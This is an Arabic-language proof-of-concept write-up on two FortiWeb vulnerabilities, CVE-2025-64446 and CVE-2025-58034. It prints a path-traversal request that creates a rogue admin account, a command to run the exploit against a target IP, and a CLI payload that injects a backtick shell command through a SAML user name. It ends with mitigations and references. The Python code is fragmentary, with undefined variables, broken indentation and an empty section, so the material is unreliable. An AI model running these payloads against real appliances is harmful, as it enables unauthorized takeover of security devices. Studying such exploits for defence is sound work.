محاكاة استغلال FortiWeb (CVE-2025-64446 & CVE-2025-58034)

ملاحظة:

• هذه الوثيقة مخصصة لأغراض التعلم والبحث الأمني فقط.
• لا تستخدمها لمهاجمة الأنظمة دون الحصول على إذن مسبق.

1. نظرة عامة

FortiWeb هو جهاز جدار حماية تطبيقات الويب (WAF) يُستخدم لحماية تطبيقات الويب.

في عام 2025، تم اكتشاف ثغرتين خطيرتين:

• CVE-2025-64446 – تجاوز المصادقة عبر Path Traversal
• CVE-2025-58034 – OS Command Injection

2. نظرة عامة على CVE-2025-64446

مثال:

/api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi

3. نظرة عامة على CVE-2025-58034

4. العملية التجريبية (POC)

4.1. تجهيز البيئة:

python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

يساعد ذلك في تجنب تعارض إصدارات المكتبات، ويضمن استقرار بيئة العمل، ويحد من التأثير على النظام

4.2 الاستغلال

الحمولة

 cgiinfo_json = {
        "username": "admin",
        "profname": "prof_admin",
        "vdom": "root",
        "loginname": "admin"
    }
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
        resp = conn.getresponse()
result = {
            'target': f"{host}:{port}",
            'status': resp.status,
            'user': username,
            'password': password,
            'success': resp.status == 200
        }

شغّل الأداة باستخدام Python3:

python3 exploit.py <IP_target>

• <IP_target>: عنوان IP هنا هو اسم مضيف جهاز FortiWeb.

تم الحصول على اسم المستخدم وكلمة المرور -> قم بتسجيل الدخول

تم الاستغلال بنجاح وإنشاء حساب جديد بصلاحيات admin.

4.3 استغلال CVE-2025-58034 بعد تسجيل الدخول إلى الحساب

بعد تسجيل الدخول بنجاح باستخدام حساب الإدارة المُنشأ حديثًا، يمكن للمهاجم استغلال ثغرة حقن الأوامر المُصادَق عليها عبر طلبات مُصنَّعة خصيصًا أو مباشرة عبر واجهة سطر أوامر FortiWeb CLI:

config user saml-user

edit "`id`" ## nhập lệnh tại đây

set entityID http://foo

set service-path /foo

set enforce-signing disable

set slo-bind post

set slo-path /foo

set sso-bind post

set sso-path /foo

end

سيقوم FortiWeb بالخروج من سلسلة الإعدادات وتنفيذ الأمر id أثناء عملية إعداد saml-user.

5. بعض طرق التخفيف من الثغرات

• تحديث FortiWeb إلى الإصدار المُصحَّح.
• تقييد الوصول إلى واجهة الإدارة.
• عدم تعريض واجهة الإدارة للإنترنت.
• فحص حسابات admin غير المعتادة.

6. مراجع إضافية

• CVE-2025-64446 – https://nvd.nist.gov/vuln/detail/CVE-2025-64446
• CVE-2025-58034 – https://nvd.nist.gov/vuln/detail/CVE-2025-58034